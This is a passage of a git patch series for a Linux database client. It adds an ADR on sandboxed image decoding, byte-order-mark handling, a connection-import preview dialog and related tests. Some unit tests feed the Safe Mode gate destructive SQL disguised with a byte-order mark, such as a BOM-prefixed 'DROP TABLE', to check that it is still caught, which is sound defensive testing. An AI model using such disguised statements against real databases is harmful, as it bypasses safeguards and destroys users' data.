     { "name": "glib-sys", "version": "0.22.9", "license": "MIT" },
+    { "name": "glycin", "version": "3.1.0", "license": "MPL-2.0 OR LGPL-2.1-or-later" },
+    { "name": "glycin-common", "version": "1.0.4", "license": "MPL-2.0 OR LGPL-2.1-or-later" },
+    { "name": "glycin-utils", "version": "4.1.0", "license": "MPL-2.0 OR LGPL-2.1-or-later" },
     { "name": "gobject-sys", "version": "0.22.9", "license": "MIT" },
     { "name": "graphene-rs", "version": "0.22.8", "license": "MIT" },
     { "name": "graphene-sys", "version": "0.22.9", "license": "MIT" },
@@ -2417,6 +2565,8 @@
     { "name": "gtk4", "version": "0.11.4", "license": "MIT" },
     { "name": "gtk4-macros", "version": "0.11.4", "license": "MIT" },
     { "name": "gtk4-sys", "version": "0.11.4", "license": "MIT" },
+    { "name": "gufo-common", "version": "1.1.0", "license": "MPL-2.0 OR LGPL-2.1-or-later" },
+    { "name": "gufo-exif", "version": "0.4.0", "license": "MPL-2.0 OR LGPL-2.1-or-later" },
     { "name": "half", "version": "2.7.1", "license": "MIT OR Apache-2.0" },
     { "name": "hashbrown", "version": "0.14.5", "license": "MIT OR Apache-2.0" },
     { "name": "hashbrown", "version": "0.15.5", "license": "MIT OR Apache-2.0" },
@@ -2461,7 +2611,11 @@
     { "name": "ipnet", "version": "2.12.2", "license": "MIT OR Apache-2.0" },
     { "name": "itertools", "version": "0.15.0", "license": "MIT OR Apache-2.0" },
     { "name": "itoa", "version": "1.0.18", "license": "MIT OR Apache-2.0" },
+    { "name": "jiff", "version": "0.2.37", "license": "Unlicense OR MIT" },
+    { "name": "jiff-core", "version": "0.1.1", "license": "Unlicense OR MIT" },
     { "name": "lazy_static", "version": "1.5.0", "license": "MIT OR Apache-2.0" },
+    { "name": "lcms2", "version": "6.2.0", "license": "MIT" },
+    { "name": "lcms2-sys", "version": "4.0.7", "license": "MIT" },
     { "name": "lexical-core", "version": "1.0.6", "license": "MIT OR Apache-2.0" },
     { "name": "lexical-parse-float", "version": "1.0.6", "license": "MIT OR Apache-2.0" },
     { "name": "lexical-parse-integer", "version": "1.0.6", "license": "MIT OR Apache-2.0" },
@@ -2474,7 +2628,10 @@
     { "name": "libduckdb-sys", "version": "1.10506.1", "license": "Apache-2.0 AND (Apache-2.0 OR GPL-2.0-or-later) AND BSD-2-Clause AND (BSD-2-Clause OR BSL-1.0) AND BSD-3-Clause AND BSL-1.0 AND MIT AND Unicode-DFS-2015 AND Zlib" },
     { "name": "libgssapi", "version": "0.11.0", "license": "MIT" },
     { "name": "libgssapi-sys", "version": "0.3.4", "license": "MIT" },
+    { "name": "libloading", "version": "0.8.9", "license": "ISC" },
     { "name": "libm", "version": "0.2.16", "license": "MIT" },
+    { "name": "libseccomp", "version": "0.4.0", "license": "MIT OR Apache-2.0" },
+    { "name": "libseccomp-sys", "version": "0.3.0", "license": "MIT OR Apache-2.0" },
     { "name": "libsqlite3-sys", "version": "0.37.0", "license": "MIT" },
     { "name": "linux-raw-sys", "version": "0.4.15", "license": "Apache-2.0 WITH LLVM-exception OR Apache-2.0 OR MIT" },
     { "name": "linux-raw-sys", "version": "0.12.1", "license": "Apache-2.0 WITH LLVM-exception OR Apache-2.0 OR MIT" },
@@ -2491,6 +2648,8 @@
     { "name": "md-5", "version": "0.10.6", "license": "MIT OR Apache-2.0" },
     { "name": "md-5", "version": "0.11.0", "license": "MIT OR Apache-2.0" },
     { "name": "memchr", "version": "2.8.3", "license": "Unlicense OR MIT" },
+    { "name": "memfd", "version": "0.6.6", "license": "MIT OR Apache-2.0" },
+    { "name": "memmap2", "version": "0.9.12", "license": "MIT OR Apache-2.0" },
     { "name": "memoffset", "version": "0.9.1", "license": "MIT" },
     { "name": "mio", "version": "1.2.3", "license": "MIT" },
     { "name": "moka", "version": "0.12.16", "license": "(MIT OR Apache-2.0) AND Apache-2.0" },
@@ -2499,6 +2658,7 @@
     { "name": "multiversion", "version": "0.9.0", "license": "MIT OR Apache-2.0" },
     { "name": "multiversion-macros", "version": "0.9.0", "license": "MIT OR Apache-2.0" },
     { "name": "multiversion_no_op", "version": "1.0.0", "license": "Apache-2.0 OR MIT" },
+    { "name": "nix", "version": "0.30.1", "license": "MIT" },
     { "name": "nu-ansi-term", "version": "0.50.3", "license": "MIT" },
     { "name": "num", "version": "0.4.3", "license": "MIT OR Apache-2.0" },
     { "name": "num-bigint", "version": "0.4.8", "license": "MIT OR Apache-2.0" },
@@ -2518,6 +2678,7 @@
     { "name": "parking", "version": "2.2.1", "license": "Apache-2.0 OR MIT" },
     { "name": "parking_lot", "version": "0.12.5", "license": "MIT OR Apache-2.0" },
     { "name": "parking_lot_core", "version": "0.9.12", "license": "MIT OR Apache-2.0" },
+    { "name": "paste", "version": "1.0.15", "license": "MIT OR Apache-2.0" },
     { "name": "pastey", "version": "0.2.3", "license": "MIT OR Apache-2.0" },
     { "name": "pbkdf2", "version": "0.12.2", "license": "MIT OR Apache-2.0" },
     { "name": "pbkdf2", "version": "0.13.0", "license": "MIT OR Apache-2.0" },
@@ -2526,6 +2687,7 @@
     { "name": "phf", "version": "0.13.1", "license": "MIT" },
     { "name": "phf_shared", "version": "0.13.1", "license": "MIT" },
     { "name": "pin-project-lite", "version": "0.2.17", "license": "Apache-2.0 OR MIT" },
+    { "name": "piper", "version": "0.2.5", "license": "MIT OR Apache-2.0" },
     { "name": "pkcs1", "version": "0.8.0-rc.4", "license": "Apache-2.0 OR MIT" },
     { "name": "pkcs8", "version": "0.11.0", "license": "Apache-2.0 OR MIT" },
     { "name": "portable-atomic", "version": "1.15.0", "license": "Apache-2.0 OR MIT" },
@@ -2547,6 +2709,8 @@
     { "name": "rand_core", "version": "0.9.5", "license": "MIT OR Apache-2.0" },
     { "name": "rand_core", "version": "0.10.1", "license": "MIT OR Apache-2.0" },
     { "name": "rand_pcg", "version": "0.9.0", "license": "MIT OR Apache-2.0" },
+    { "name": "rayon", "version": "1.12.0", "license": "MIT OR Apache-2.0" },
+    { "name": "rayon-core", "version": "1.13.0", "license": "MIT OR Apache-2.0" },
     { "name": "redis", "version": "1.7.1", "license": "BSD-3-Clause" },
     { "name": "ref-cast", "version": "1.0.27", "license": "MIT OR Apache-2.0" },
     { "name": "ref-cast-impl", "version": "1.0.27", "license": "MIT OR Apache-2.0" },
@@ -2557,6 +2721,8 @@
     { "name": "relm4-macros", "version": "0.11.0", "license": "Apache-2.0 OR MIT" },
     { "name": "resolv-conf", "version": "0.7.6", "license": "MIT OR Apache-2.0" },
     { "name": "rmcp", "version": "3.6.0", "license": "Apache-2.0 AND MIT" },
+    { "name": "rmp", "version": "0.8.15", "license": "MIT" },
+    { "name": "rmp-serde", "version": "1.3.1", "license": "MIT" },
     { "name": "rsa", "version": "0.10.0-rc.18", "license": "MIT OR Apache-2.0" },
     { "name": "rust_xlsxwriter", "version": "0.102.0", "license": "MIT OR Apache-2.0" },
     { "name": "rustc_version", "version": "0.4.1", "license": "MIT OR Apache-2.0" },
@@ -2617,6 +2783,7 @@
     { "name": "sqlx-sqlite", "version": "0.9.0", "license": "MIT OR Apache-2.0" },
     { "name": "sse-stream", "version": "0.2.6", "license": "MIT OR Apache-2.0" },
     { "name": "stable_deref_trait", "version": "1.2.1", "license": "MIT OR Apache-2.0" },
+    { "name": "static_assertions", "version": "1.1.0", "license": "MIT OR Apache-2.0" },
     { "name": "stringprep", "version": "0.1.5", "license": "MIT OR Apache-2.0" },
     { "name": "strsim", "version": "0.11.1", "license": "MIT" },
     { "name": "strum", "version": "0.27.2", "license": "MIT" },
@@ -2685,6 +2852,7 @@
     { "name": "wyz", "version": "0.5.1", "license": "MIT" },
     { "name": "x509-cert", "version": "0.2.5", "license": "Apache-2.0 OR MIT" },
     { "name": "xxhash-rust", "version": "0.8.19", "license": "BSL-1.0" },
+    { "name": "yeslogic-fontconfig-sys", "version": "6.0.1", "license": "MIT" },
     { "name": "yoke", "version": "0.8.3", "license": "Unicode-3.0" },
     { "name": "yoke-derive", "version": "0.8.2", "license": "Unicode-3.0" },
     { "name": "zbus", "version": "5.19.0", "license": "MIT" },
diff --git a/linux/data/resources/ui/row-detail-pane.ui b/linux/data/resources/ui/row-detail-pane.ui
index 17c41799c4..cc1c2f8c1d 100644
--- a/linux/data/resources/ui/row-detail-pane.ui
+++ b/linux/data/resources/ui/row-detail-pane.ui
@@ -316,13 +316,23 @@
                                 </child>
                               </object>
                             </child>
+                            <child>
+                              <object class="GtkPicture" id="value_picture">
+                                <property name="visible">false</property>
+                                <property name="content-fit">scale-down</property>
+                                <property name="margin-top">6</property>
+                                <property name="margin-start">12</property>
+                                <property name="margin-end">12</property>
+                                <property name="alternative-text" translatable="yes">Image preview</property>
+                              </object>
+                            </child>
                             <child>
                               <!-- A text view has no placeholder of its own, so
                                    one is drawn over it while it is empty. -->
                               <object class="GtkOverlay">
                                 <property name="vexpand">true</property>
                                 <property name="child">
-                                  <object class="GtkScrolledWindow">
+                                  <object class="GtkScrolledWindow" id="value_scroller">
                                     <property name="hscrollbar-policy">never</property>
                                     <property name="min-content-height">120</property>
                                     <property name="child">
diff --git a/linux/docs/decisions/0029-images-decode-in-glycin.md b/linux/docs/decisions/0029-images-decode-in-glycin.md
new file mode 100644
index 0000000000..270ea82b05
--- /dev/null
+++ b/linux/docs/decisions/0029-images-decode-in-glycin.md
@@ -0,0 +1,32 @@
+# 0029: Images from the database decode in glycin's sandbox
+
+- **Status**: Accepted
+- **Date**: 2026-10-29
+
+## Context
+
+Row Details shows the picture of a binary value that holds an image. Those bytes are written by whoever else uses the database, so they are untrusted input (`.oss-scanner/threat_model.md`). GTK's own loaders run in the app's process, and `gdk_texture_new_from_bytes` says it "should not be used with untrusted data. Use a proper image loading framework such as libglycin" (GTK 4.22, `gdk/gdktexture.c`). GNOME 50 ships glycin: gdk-pixbuf 2.44 loads through it, and Loupe and Fractal decode untrusted images with it.
+
+## Decision
+
+The app decodes a value's picture with the glycin crate 3.x, the GNOME 50 release, which runs each decode in a sandboxed loader process.
+
+## Rationale
+
+- **Out of process.** A loader that a crafted image crashes or takes over runs under bubblewrap, or `flatpak-spawn --sandbox` in Flatpak, with seccomp filters, a memory limit and no network.
+- **The platform's loaders.** The formats are the ones the installed glycin loaders read, the same set the rest of the desktop shows.
+- **Fits the workspace.** The crate's `tokio` feature runs on the app's runtime and the zbus it already links; `gdk4` hands back a `gdk::Texture`.
+
+## Consequences
+
+- The build links libseccomp and lcms2 (`meson.build`, `build-aux/debian/control`, `build-aux/rpm/tablepro.spec`). The GNOME SDK has both, since it builds libglycin.
+- The picture needs the glycin loaders at run time: in the GNOME runtime, a Recommends of the .deb and the .rpm, and a test dependency of both, since the picture tests decode. Without them Row Details shows the bytes and no picture.
+- Where no sandbox can be made, as in a container that blocks namespaces or a Flatpak run by `flatpak-builder`, glycin's own default decodes without one. The pane shows no picture there instead. The tests allow it, since CI runs them in containers.
+- glycin 3.x speaks the loaders' `2+` protocol. Moving to glycin 4 follows the platform floor ([0015](0015-gnome-50-platform-floor.md)).
+
+## Alternatives considered
+
+- **`gdk::Texture::from_bytes`**: decodes in process, which GTK documents against for untrusted data.
+- **gdk-pixbuf**: sandboxed only where the distribution builds it with glycin, and its texture conversion is deprecated since GTK 4.20.
+- **The image crate in process**: memory-safe decoders, but no process boundary or memory limit, and a second set of formats beside the desktop's.
+- **No picture**: leaves the bytes of an image unreadable in Row Details.
diff --git a/linux/docs/decisions/README.md b/linux/docs/decisions/README.md
index 4c44a55441..2c26060651 100644
--- a/linux/docs/decisions/README.md
+++ b/linux/docs/decisions/README.md
@@ -76,6 +76,7 @@ A fact the repository keeps elsewhere, such as a workflow trigger, a branch, a v
 | [0026](0026-documents-in-the-table-tab.md) | Document collections open in the table tab, and their statements are shell calls | Accepted | A document engine states `DataModel::Document`, lists collections as tables, opens them in the table tab, and every builder writes a mongosh call with bound values through a document arm chosen by the grammar. |
 | [0027](0027-one-data-grid.md) | One data grid on GtkColumnView, with rows and a focused cell | Accepted | Every surface shows rows in one `DataGrid`: row selection plus a focused cell, stable row slots, a row number column, values as text and a row detail pane. |
 | [0028](0028-sessions-share-a-window.md) | A window holds several sessions in one tab view | Accepted | A `WorkspaceShell` per window shares one tab view among its sessions, each with its own workspace; the sidebar is a tree of the saved connections with each open session's schemas and tables. |
+| [0029](0029-images-decode-in-glycin.md) | Images from the database decode in glycin's sandbox | Accepted | Row Details decodes a value's picture with the glycin crate 3.x, in a sandboxed loader process, never with GTK's in-process loaders. |
 
 0011 is not used. It was reserved for the DDL decision, which was recorded as 0010, and docs cite ADRs by number, so the later ones keep theirs.
 
diff --git a/linux/meson.build b/linux/meson.build
index f75a9b87ae..02fa04de3a 100644
--- a/linux/meson.build
+++ b/linux/meson.build
@@ -40,6 +40,9 @@ dependency('gtk4', version: '>= 4.22')
 dependency('libadwaita-1', version: '>= 1.9')
 dependency('gtksourceview-5', version: '>= 5.18')
 dependency('sqlite3', version: '>= 3.46')
+# glycin, which decodes a value's picture in a sandbox.
+dependency('libseccomp')
+dependency('lcms2')
 
 if get_option('kerberos')
   dependency('mit-krb5-gssapi')
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index 5fab1859c7..bde86fdf4b 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -88,6 +88,7 @@ crates/app/src/services/grid/edit_policy.rs
 crates/app/src/services/grid/find_matches.rs
 crates/app/src/services/grid/grid_column.rs
 crates/app/src/services/grid/grid_row_id.rs
+crates/app/src/services/grid/hex_dump.rs
 crates/app/src/services/grid/mod.rs
 crates/app/src/services/grid/row_key_builder.rs
 crates/app/src/services/grid/row_snapshot.rs
@@ -267,6 +268,7 @@ crates/app/src/ui/data_grid/row_detail/clock.rs
 crates/app/src/ui/data_grid/row_detail/fields.rs
 crates/app/src/ui/data_grid/row_detail/imp.rs
 crates/app/src/ui/data_grid/row_detail/mod.rs
+crates/app/src/ui/data_grid/row_detail/picture.rs
 crates/app/src/ui/data_grid/row_detail/tests.rs
 crates/app/src/ui/data_grid/row_detail/value_editor.rs
 crates/app/src/ui/data_grid/row_json_dialog.rs

From 20644df392a8a100cae849b8284eb207e98ed8f3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 16:36:21 +0700
Subject: [PATCH 41/44] fix(linux): read SQL as each engine does and preview
 connection imports (#3892)

---
 linux/ARCHITECTURE.md                         |   2 +-
 linux/changelog.d/3892.added.md               |   1 +
 linux/changelog.d/3892.fixed.md               |   1 +
 linux/changelog.d/3892.security.1.md          |   1 +
 linux/changelog.d/3892.security.2.md          |   1 +
 linux/changelog.d/3892.security.md            |   1 +
 .../app/src/ui/editor/safe_mode_gate.rs       |  17 +
 linux/crates/app/src/ui/editor/sql_file.rs    |  16 +-
 linux/crates/app/src/ui/import_preview.rs     | 135 +++++
 linux/crates/app/src/ui/mod.rs                |   1 +
 .../app/src/ui/session_window/connections.rs  | 103 +++-
 linux/crates/app/src/ui/session_window/mod.rs |   1 +
 .../ui/session_window/session_window_input.rs |   2 +
 linux/crates/core/src/dialect/test_dialect.rs |   1 +
 linux/crates/core/src/lib.rs                  |   1 +
 .../core/src/sql_syntax/credential_rules.rs   |  71 ++-
 .../core/src/sql_syntax/history_recording.rs  | 134 ++++-
 linux/crates/core/src/sql_syntax/mod.rs       |   3 +-
 .../core/src/sql_syntax/script/lexer.rs       |  86 ++-
 .../src/sql_syntax/script/script_rules.rs     |  22 +
 .../sql_syntax/state_changing_functions.rs    | 200 +++++++
 .../core/src/sql_syntax/statement_access.rs   | 527 ++++++++++++++++--
 linux/crates/core/src/unicode_blank.rs        |  50 ++
 linux/crates/core/tests/script_corpus.rs      | 118 ++++
 .../crates/drivers/cassandra/src/cql_type.rs  |  64 ++-
 linux/crates/drivers/cassandra/src/dialect.rs |   1 +
 linux/crates/drivers/cassandra/src/rows.rs    |   3 +-
 .../drivers/clickhouse/src/clickhouse_type.rs |  68 +++
 .../crates/drivers/clickhouse/src/dialect.rs  |   1 +
 linux/crates/drivers/duckdb/src/dialect.rs    |   1 +
 linux/crates/drivers/mongodb/src/catalog.rs   |   5 +-
 .../crates/drivers/mongodb/src/cursor_rows.rs |   5 +-
 linux/crates/drivers/mongodb/src/execute.rs   |   2 +-
 linux/crates/drivers/mongodb/src/lib.rs       |   1 +
 .../drivers/mongodb/src/nested_document.rs    |  84 +++
 linux/crates/drivers/mongodb/src/rows.rs      |   9 +-
 linux/crates/drivers/mssql/src/dialect.rs     |  57 ++
 linux/crates/drivers/mysql/src/dialect.rs     |   1 +
 linux/crates/drivers/mysql/src/stream_read.rs |  34 +-
 .../drivers/mysql/tests/integration/main.rs   |   1 +
 .../mysql/tests/integration/user_read.rs      |  46 ++
 .../postgres/src/catalog/pg_column_row.rs     |  16 +-
 .../postgres/src/catalog/table_definition.rs  |  30 +-
 .../postgres/src/codec/array_decode.rs        |  63 ++-
 .../drivers/postgres/src/codec/decode.rs      |  25 +-
 .../crates/drivers/postgres/src/codec/mod.rs  |   2 +
 .../drivers/postgres/src/codec/text_array.rs  |  76 +++
 .../drivers/postgres/src/commit_resolution.rs |   4 +-
 linux/crates/drivers/postgres/src/ddl.rs      |  36 +-
 linux/crates/drivers/postgres/src/dialect.rs  |   1 +
 .../drivers/postgres/src/metadata/estimate.rs |   8 +-
 .../postgres/src/metadata/foreign_keys.rs     |  13 +-
 .../drivers/postgres/src/metadata/identity.rs |  15 +-
 .../drivers/postgres/src/metadata/indexes.rs  |   6 +-
 .../drivers/postgres/src/metadata/mod.rs      |  79 ++-
 .../drivers/postgres/src/metadata/objects.rs  |  14 +-
 .../drivers/postgres/src/stream_read.rs       |  15 +
 .../postgres/tests/integration/metadata.rs    |  79 +++
 .../postgres/tests/integration/read_only.rs   |  69 ++-
 linux/crates/drivers/sqlite/src/connection.rs |  21 +-
 linux/crates/drivers/sqlite/src/dialect.rs    |   1 +
 linux/crates/drivers/sqlite/src/lib.rs        |   1 +
 linux/crates/drivers/sqlite/src/read_guard.rs | 123 ++++
 .../sqlite/tests/integration/sessions.rs      |  44 ++
 linux/crates/mcp/src/query_tools.rs           |   8 +
 linux/crates/storage/src/connections.rs       | 292 +++++++++-
 linux/crates/storage/src/error.rs             |   3 +
 linux/crates/storage/src/lib.rs               |   4 +-
 linux/crates/storage/src/name_rules.rs        |  34 ++
 linux/crates/test-support/src/fake_dialect.rs |   1 +
 linux/docs/drivers/mysql.md                   |   2 +-
 linux/docs/drivers/postgresql.md              |   3 +-
 linux/docs/drivers/sqlite.md                  |   2 +
 linux/docs/storage.md                         |  11 +-
 linux/po/POTFILES.in                          |   1 +
 75 files changed, 2767 insertions(+), 213 deletions(-)
 create mode 100644 linux/changelog.d/3892.added.md
 create mode 100644 linux/changelog.d/3892.fixed.md
 create mode 100644 linux/changelog.d/3892.security.1.md
 create mode 100644 linux/changelog.d/3892.security.2.md
 create mode 100644 linux/changelog.d/3892.security.md
 create mode 100644 linux/crates/app/src/ui/import_preview.rs
 create mode 100644 linux/crates/core/src/sql_syntax/state_changing_functions.rs
 create mode 100644 linux/crates/core/src/unicode_blank.rs
 create mode 100644 linux/crates/drivers/mongodb/src/nested_document.rs
 create mode 100644 linux/crates/drivers/mysql/tests/integration/user_read.rs
 create mode 100644 linux/crates/drivers/postgres/src/codec/text_array.rs
 create mode 100644 linux/crates/drivers/sqlite/src/read_guard.rs

diff --git a/linux/ARCHITECTURE.md b/linux/ARCHITECTURE.md
index c834704b6d..1ad217eadf 100644
--- a/linux/ARCHITECTURE.md
+++ b/linux/ARCHITECTURE.md
@@ -348,7 +348,7 @@ A restore deletes the drafts no saved or open tab names, except while a moved-as
 
 The app's `McpService` (`crates/app/src/services/mcp_service.rs`) follows the `mcp-server-enabled` and `mcp-server-port` keys on the GTK thread and starts, stops and moves the server on the runtime. Every change takes one lock in turn, so a stop has freed the port before the next start binds it. Its status, a `watch` of `McpStatus`, drives the Preferences page.
 
-A tool reads the saved connections from the `ConnectionStore` on each call, so an External Clients level changed a moment ago applies, and leaves a Blocked one out as if it did not exist. It reaches a connection through `McpHost`, which the app's `GtkMcpHost` answers on the GTK thread: the `Session` the registry holds for the saved connection's key, a window opened for it the way the picker opens one, and the write approval, which `confirm_until` shows in that window with Safe Mode's dialog and takes down when the client goes away. `ExternalAccess::gate` decides each statement from the level, the session's Safe Mode level and `statement_access`. A read streams through `Connection::stream_read` on a read-only connection, cut at the row limit by the sink; a write runs on an editor session of its own, opened for the one statement. Both go into the query history through `HistoryService::record`, under the editor's rules.
+A tool reads the saved connections from the `ConnectionStore` on each call, so an External Clients level changed a moment ago applies, and leaves a Blocked one out as if it did not exist. It reaches a connection through `McpHost`, which the app's `GtkMcpHost` answers on the GTK thread: the `Session` the registry holds for the saved connection's key, a window opened for it the way the picker opens one, and the write approval, which `confirm_until` shows in that window with Safe Mode's dialog and takes down when the client goes away. `ExternalAccess::gate` decides each statement from the level, the session's Safe Mode level and `statement_access`. A read streams through `Connection::stream_read` on a read-only connection, cut at the row limit by the sink, and the engine confirms it is one statement (PostgreSQL's Parse, a SQLite prepare with no tail, a MySQL prepare), so text the gate read as one statement never runs as two; a SQLite read connection also attaches no file and sets no pragma that changes anything; a write runs on an editor session of its own, opened for the one statement. Both go into the query history through `HistoryService::record`, under the editor's rules.
 
 ## AI assistant
 
diff --git a/linux/changelog.d/3892.added.md b/linux/changelog.d/3892.added.md
new file mode 100644
index 0000000000..164f11e973
--- /dev/null
+++ b/linux/changelog.d/3892.added.md
@@ -0,0 +1 @@
+Importing connections first lists each one with its host, and nothing is saved until you choose Import.
diff --git a/linux/changelog.d/3892.fixed.md b/linux/changelog.d/3892.fixed.md
new file mode 100644
index 0000000000..3d588d618e
--- /dev/null
+++ b/linux/changelog.d/3892.fixed.md
@@ -0,0 +1 @@
+Query history no longer keeps SQL Server password procedures or passwords run as dynamic SQL.
diff --git a/linux/changelog.d/3892.security.1.md b/linux/changelog.d/3892.security.1.md
new file mode 100644
index 0000000000..596254b9ca
--- /dev/null
+++ b/linux/changelog.d/3892.security.1.md
@@ -0,0 +1 @@
+Browsing PostgreSQL no longer runs look-alike functions or operators that another user put in a shared schema.
diff --git a/linux/changelog.d/3892.security.2.md b/linux/changelog.d/3892.security.2.md
new file mode 100644
index 0000000000..0bad4585fc
--- /dev/null
+++ b/linux/changelog.d/3892.security.2.md
@@ -0,0 +1 @@
+A hostile server can no longer crash the app with an oversized array or a deeply nested type or document.
diff --git a/linux/changelog.d/3892.security.md b/linux/changelog.d/3892.security.md
new file mode 100644
index 0000000000..a3d009dc96
--- /dev/null
+++ b/linux/changelog.d/3892.security.md
@@ -0,0 +1 @@
+MCP Read Only and Safe Mode no longer miss a statement hidden in a SQLite parameter, a continued string or a label.
diff --git a/linux/crates/app/src/ui/editor/safe_mode_gate.rs b/linux/crates/app/src/ui/editor/safe_mode_gate.rs
index 663c570341..229cc0411b 100644
--- a/linux/crates/app/src/ui/editor/safe_mode_gate.rs
+++ b/linux/crates/app/src/ui/editor/safe_mode_gate.rs
@@ -91,6 +91,23 @@ mod tests {
         assert!(drop.destructive);
     }
 
+    #[test]
+    fn a_byte_order_mark_does_not_hide_a_sqlite_statement_from_the_question() {
+        // SQLite reads U+FEFF as a space where a token starts, so both
+        // statements run as written without the mark.
+        let drop = gated("\u{feff}DROP TABLE t", SqlGrammar::Sqlite, SafeModeLevel::Off);
+        let delete = gated(
+            "WITH stale AS (SELECT 1) \u{feff}DELETE FROM t",
+            SqlGrammar::Sqlite,
+            SafeModeLevel::ConfirmWrites,
+        );
+
+        assert_eq!(drop.confirm.len(), 1);
+        assert!(drop.destructive);
+        assert_eq!(delete.confirm, ["WITH stale AS (SELECT 1) \u{feff}DELETE FROM t"]);
+        assert!(delete.destructive);
+    }
+
     #[test]
     fn a_repeated_batch_shows_how_many_times_it_runs() {
         let run = gated(
diff --git a/linux/crates/app/src/ui/editor/sql_file.rs b/linux/crates/app/src/ui/editor/sql_file.rs
index dbb243e3a1..582552b652 100644
--- a/linux/crates/app/src/ui/editor/sql_file.rs
+++ b/linux/crates/app/src/ui/editor/sql_file.rs
@@ -20,7 +20,12 @@ pub async fn load_text(file: &gio::File) -> Result<String, String> {
         }
         Err(FileReadError::Io(error)) => return Err(unreadable(error)),
     };
-    String::from_utf8(bytes).map_err(|_| crate::i18n::gettext("That file is not UTF-8 text."))
+    let text = String::from_utf8(bytes).map_err(|_| crate::i18n::gettext("That file is not UTF-8 text."))?;
+    // A byte-order mark says the file is UTF-8; it is not part of the SQL.
+    Ok(match text.strip_prefix('\u{feff}') {
+        Some(rest) => rest.to_owned(),
+        None => text,
+    })
 }
 
 fn unreadable(error: glib::Error) -> String {
@@ -74,6 +79,15 @@ mod tests {
         assert!(refused.contains("too large"), "{refused}");
     }
 
+    #[gtk4::test]
+    fn a_byte_order_mark_is_not_part_of_the_text() {
+        let root = tempfile::tempdir().expect("tempdir");
+        let path = root.path().join("bom.sql");
+        std::fs::write(&path, "\u{feff}DROP TABLE t;\n").expect("write");
+
+        assert_eq!(load(gio::File::for_path(&path)).as_deref(), Ok("DROP TABLE t;\n"));
+    }
+
     #[gtk4::test]
     fn a_small_file_is_read_as_text() {
         let root = tempfile::tempdir().expect("tempdir");
diff --git a/linux/crates/app/src/ui/import_preview.rs b/linux/crates/app/src/ui/import_preview.rs
new file mode 100644
index 0000000000..1e6a24681b
--- /dev/null
+++ b/linux/crates/app/src/ui/import_preview.rs
@@ -0,0 +1,135 @@
+use gtk4 as gtk;
+use gtk4::{gio, glib};
+use libadwaita as adw;
+use libadwaita::prelude::*;
+use tablepro_core::{AiPolicy, DriverRegistry, ExternalAccess};
+use tablepro_storage::{ImportChange, ImportEntry, ImportPreview};
+
+use crate::services::saved_connection_object::subtitle_for;
+
+pub(crate) const IMPORT: &str = "import";
+const CANCEL: &str = "cancel";
+
+/// The list a file can bring is long only when the user exported a long
+/// one, so it scrolls past this height rather than growing the dialog.
+const MAX_LIST_HEIGHT: i32 = 320;
+
+/// The question before an import writes anything. Each connection shows
+/// where it connects, so a name that matches a saved one but points at
+/// another host is seen before it is saved.
+pub(crate) fn import_preview_dialog(preview: &ImportPreview, drivers: &DriverRegistry) -> adw::AlertDialog {
+    let count = preview.entries().len();
+    let dialog = adw::AlertDialog::new(
+        Some(&crate::i18n::ngettext_f(
+            "Import {n} Connection?",
+            "Import {n} Connections?",
+            u32::try_from(count).unwrap_or(u32::MAX),
+            &[("n", &count.to_string())],
+        )),
+        Some(&crate::i18n::gettext(
+            "Check where each one connects. A file you did not export yourself can point anywhere.",
+        )),
+    );
+    let rows = gio::ListStore::new::<glib::BoxedAnyObject>();
+    for entry in preview.entries() {
+        rows.append(&glib::BoxedAnyObject::new(entry_text(entry, drivers)));
+    }
+    // A row is built only while it is on screen, so a file of thousands
+    // of connections opens the dialog as fast as one of three.
+    let list = gtk::ListView::builder()
+        .model(&gtk::NoSelection::new(Some(rows)))
+        .factory(&row_factory())
+        .css_classes(["boxed-list"])
+        .build();
+    let scrolled = gtk::ScrolledWindow::builder()
+        .hscrollbar_policy(gtk::PolicyType::Never)
+        .propagate_natural_height(true)
+        .max_content_height(MAX_LIST_HEIGHT)
+        .child(&list)
+        .build();
+    dialog.set_extra_child(Some(&scrolled));
+    dialog.add_response(CANCEL, &crate::i18n::gettext("Cancel"));
+    dialog.add_response(IMPORT, &crate::i18n::gettext("Import"));
+    dialog.set_response_appearance(IMPORT, adw::ResponseAppearance::Suggested);
+    dialog.set_default_response(Some(CANCEL));
+    dialog.set_close_response(CANCEL);
+    dialog
+}
+
+/// What one row shows.
+struct EntryText {
+    title: String,
+    subtitle: String,
+}
+
+fn entry_text(entry: &ImportEntry, drivers: &DriverRegistry) -> EntryText {
+    let saved = &entry.connection;
+    let file_based = drivers
+        .get(&saved.driver_id)
+        .is_some_and(|driver| driver.capabilities().is_file_based());
+    let change = match entry.change {
+        ImportChange::Added => crate::i18n::gettext("New"),
+        ImportChange::Updated => crate::i18n::gettext("Updated"),
+    };
+    let mut lines = vec![format!("{change} · {}", subtitle_for(saved, file_based, None))];
+    // An updated entry keeps its own settings; only the list's labels
+    // come from the file.
+    if entry.change == ImportChange::Added {
+        lines.extend(looser_settings(saved.external_access, saved.ai_policy));
+    }
+    EntryText {
+        title: saved.name.clone(),
+        subtitle: lines.join("\n"),
+    }
+}
+
+fn row_factory() -> gtk::SignalListItemFactory {
+    let factory = gtk::SignalListItemFactory::new();
+    factory.connect_setup(|_, object| {
+        if let Some(item) = object.downcast_ref::<gtk::ListItem>() {
+            // A name and a host are the file's text, never markup.
+            let row = adw::ActionRow::builder().use_markup(false).build();
+            item.set_activatable(false);
+            item.set_child(Some(&row));
+        }
+    });
+    factory.connect_bind(|_, object| {
+        let Some(item) = object.downcast_ref::<gtk::ListItem>() else {
+            return;
+        };
+        let (Some(row), Some(text)) = (
+            item.child().and_downcast::<adw::ActionRow>(),
+            item.item().and_downcast::<glib::BoxedAnyObject>(),
+        ) else {
+            return;
+        };
+        let text = text.borrow::<EntryText>();
+        row.set_title(&text.title);
+        row.set_subtitle(&text.subtitle);
+    });
+    factory
+}
+
+/// What the file allows beyond what a new connection starts with.
+fn looser_settings(access: ExternalAccess, policy: AiPolicy) -> Vec<String> {
+    let mut lines = Vec::new();
+    if access == ExternalAccess::ReadWrite {
+        lines.push(crate::i18n::gettext("MCP clients can ask to write"));
+    }
+    if policy == AiPolicy::Allow {
+        lines.push(crate::i18n::gettext("The AI assistant reads without asking"));
+    }
+    lines
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
